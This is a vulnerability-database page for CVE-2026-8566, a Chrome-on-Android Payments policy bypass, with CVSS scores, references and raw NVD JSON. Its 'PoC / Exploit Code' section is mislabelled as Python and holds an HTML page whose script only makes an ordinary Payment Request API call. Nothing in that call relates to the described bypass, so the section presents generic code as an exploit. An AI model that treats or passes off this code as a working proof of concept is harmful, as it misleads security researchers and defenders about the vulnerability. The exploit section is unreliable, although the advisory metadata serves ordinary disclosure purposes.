CVE-2026-8566

Description

Insufficient policy enforcement in Payments in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-8566
  Description: Crafted HTML page to test insufficient policy enforcement in Payments.
  Instructions: Open this page in a vulnerable version of Chrome on Android (< 148.0.7778.168).
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8566 PoC</title>
    <style>
        body { font-family: sans-serif; padding: 20px; }
        button { padding: 10px 20px; font-size: 16px; }
    </style>
</head>
<body>
    <h1>Chrome Android Payments Policy Bypass Test</h1>
    <p>This page attempts to trigger a payment request that may bypass discretionary access control policies.</p>
    
    <button id="triggerBtn">Initiate Payment Request</button>
    <div id="log"></div>

    <script>
        document.getElementById('triggerBtn').addEventListener('click', async () => {
            const logDiv = document.getElementById('log');
            logDiv.innerText = 'Attempting to invoke Payment Request API...';

            try {
                // Define supported payment methods
                const supportedInstruments = [{
                    supportedMethods: 'basic-card'
                }];

                // Define payment details
                const details = {
                    total: {
                        label: 'Vulnerability Test',
                        amount: { currency: 'USD', value: '0.01' }
                    }
                };

                // Create a PaymentRequest object
                const request = new PaymentRequest(supportedInstruments, details);
                
                // Show the payment UI
                const response = await request.show();
                
                // If code reaches here, the UI was shown (or bypassed)
                logDiv.innerText = 'Payment request triggered. Response: ' + JSON.stringify(response);
                
                // Complete the payment (simulated)
                await response.complete('success');
                
            } catch (error) {
                console.error('Error:', error);
                logDiv.innerText = 'Error or Policy Enforcement Triggered: ' + error.message;
            }
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8566
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8566
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8566/
[4] VulDB https://vuldb.com/cve/CVE-2026-8566
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/470646792

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8566", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.787", "lastModified": "2026-05-15T16:16:16.010", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in Payments in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker to bypass discretionary access control via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/470646792", "source": "[email protected]"}]}}